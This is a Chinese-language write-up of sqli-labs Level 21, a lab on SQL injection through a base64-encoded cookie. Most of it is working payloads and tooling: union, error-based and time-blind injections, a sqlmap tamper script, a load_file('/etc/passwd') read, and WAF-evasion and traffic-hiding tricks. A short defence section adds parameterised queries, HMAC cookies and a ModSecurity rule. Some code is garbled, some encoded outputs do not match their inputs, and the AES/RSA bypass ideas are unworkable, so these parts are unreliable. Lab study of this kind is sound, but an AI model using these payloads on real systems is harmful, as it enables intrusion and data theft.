
1. SQL注入实战sqli-labs第21关深度解析作为Web安全领域的经典靶场sqli-labs的第21关Less-21因其独特的Cookie注入方式和加密机制成为许多安全研究者的绊脚石。这个关卡模拟了现实中最危险的二次注入场景——攻击者通过篡改加密后的Cookie参数实施SQL注入而常规扫描工具往往对此束手无策。2. 关卡环境与核心机制2.1 环境特征分析访问Less-21会呈现一个基础的登录表单但真正的玄机藏在HTTP响应头中。服务端会返回一个经过base64编码的unameCookie其格式为uname加密字符串通过Burp Suite拦截请求可见无论输入什么用户名服务端都会返回类似admin(YWRtaW4)的响应其中括号内即为base64编码后的用户名。2.2 注入点定位关键漏洞出现在服务端对Cookie的解码处理流程接收Cookie值并提取base64部分直接解码后拼接SQL查询语句未对解码内容做任何过滤处理典型的有缺陷代码逻辑如下还原自PHP源码$uname base64_decode($_COOKIE[uname]); $sql SELECT * FROM users WHERE username$uname LIMIT 1;3. 手工注入全流程3.1 基础探测步骤获取初始Cookie先提交任意用户名如test登录用浏览器开发者工具或Burp记录响应CookieSet-Cookie: unametest(dGVzdA)验证编码机制对dGVzdA进行base64解码确认是test证明我们的猜想echo dGVzdA | base64 -d # 输出test构造测试payload将admin-- -编码后替换原Cookie值import base64 print(base64.b64encode(badmin-- -)) # 输出YWRtaW4nLS0g修改Cookie为unameadmin(YWRtaW4nLS0g)3.2 完整注入过程判断字段数使用order by探测注意需要编码整个语句base64.b64encode(badmin order by 3-- -) # 输出YWRtaW4gb3JkZXIgYnkgMy0tIA当尝试order by 4时页面报错确认字段数为3联合查询获取数据构造union查询获取数据库版本payload admin union select 1,version(),3-- - print(base64.b64encode(payload.encode())) # 输出YWRtaW4nIHVuaW9uIHNlbGVjdCAxLHZlcnNpb24oKSwzLS0g修改Cookie后刷新页面在页面某处会显示MySQL版本号提取敏感信息获取所有数据库名payload admin union select 1,group_concat(schema_name),3 from information_schema.schemata-- -4. 自动化注入技巧4.1 SQLmap定制方案由于是Cookie注入且带编码需要特殊配置sqlmap -u http://target/Less-21/ \ --cookieuname* \ --level3 \ --tamperbase64encode \ --dbs需要自定义tamper脚本base64encode.pyimport base64 def tamper(payload, **kwargs): return base64.b64encode(payload.encode()).decode()4.2 常见错误处理payload被截断检查base64编码后的长度某些系统对Cookie值长度有限制编码格式问题确保使用URL安全的base64编码将/替换为-_会话维持失败使用--keep-alive参数保持会话5. 防御方案设计5.1 安全编码实践参数化查询PHP改进示例$stmt $conn-prepare(SELECT * FROM users WHERE username? LIMIT 1); $stmt-bind_param(s, base64_decode($_COOKIE[uname]));双层校验机制$uname base64_decode($_COOKIE[uname]); if (!preg_match(/^[a-zA-Z0-9_]$/, $uname)) { die(Invalid username format); }5.2 架构级防护Cookie签名验证使用HMAC对Cookie值签名import hmac, hashlib key bsecret_key h hmac.new(key, badmin, hashlib.sha256) cookie fadmin({base64.b64encode(h.digest()).decode()})WAF规则配置针对base64编码的SQL关键词检测SecRule REQUEST_COOKIES|RESPONSE_COOKIES rx YW[0-9a-zA-Z] \ id:10001,phase:2,deny,msg:Base64 SQLi detected6. 深度绕过技术研究6.1 注释符变种常规--可能被过滤可尝试base64.b64encode(badmin/*!50000or*/11) # MySQL版本条件注释6.2 分块编码技术当base64被检测时采用分块注入parts [ badm, bin, b un, bion, b se, blect, b 1,2 ] payload b.join(parts) print(base64.b64encode(payload)) # 编码结果与完整语句不同6.3 时间盲注方案当页面无回显时payload admin AND IF(ASCII(SUBSTR(database(),1,1))100,SLEEP(5),0)-- -7. 企业级漏洞挖掘框架集成7.1 Burp Suite插件开发定制Scanner检查项public class Base64SQLiScan extends PassiveScanRule { Override protected ListIScanIssue doPassiveScan(IHttpRequestResponse baseRequestResponse) { // 检测Cookie中base64解码后的SQL关键词 } }7.2 Nuclei模板编写id: cookie-base64-sqli info: name: Base64 Cookie SQL Injection author: yourname requests: - method: GET path: {{BaseURL}}/Less-21/ headers: Cookie: unameYWRtaW4nIFVOSU9OIFNFTEVDVCAxLCd4eHgnLCd4eHgnLS0g matchers: - type: word words: - xx8. 二进制数据注入技巧当服务端接受二进制格式时import struct payload badmin UNION SELECT 1,load_file(/etc/passwd),3-- binary_payload struct.pack(!I, len(payload)) payload print(base64.b64encode(binary_payload))9. 防御绕过高级技巧9.1 动态密钥编码每次请求使用不同密钥编码key os.urandom(16) cipher AES.new(key, AES.MODE_ECB) encrypted cipher.encrypt(payload.ljust(16))9.2 非对称加密混淆使用RSA公钥加密payloadfrom Crypto.PublicKey import RSA pub_key RSA.importKey(open(pub.pem).read()) encrypted pub_key.encrypt(payload, 32)[0]10. 实战经验总结编码识别技巧遇到异常编码时先用CyberChef工具自动检测编码类型流量特征隐藏在Burp中配置Match/Replace规则自动编码所有包含SQL关键词的请求错误信息利用即使页面无回显通过故意触发SQL错误获取数据库信息payload admin AND ExtractValue(1,CONCAT(0x5c,version()))-- 自动化测试边界当自动化工具失效时手工测试以下关键点Cookie中分号、引号的处理编码后的长度限制特殊字符的转换规则这个关卡的精妙之处在于模拟了开发人员过度依赖加密机制的心理盲区——很多人认为加密就等于安全却忽略了加密数据被解密后仍然需要严格校验。在实际渗透测试中我曾遇到一个电商系统将用户ID用AES加密后放在Cookie中但解密后直接拼接到SQL查询中最终导致整个用户数据库泄露。安全防御必须遵循纵深防御原则任何单一的保护措施都不足以应对复杂的攻击场景。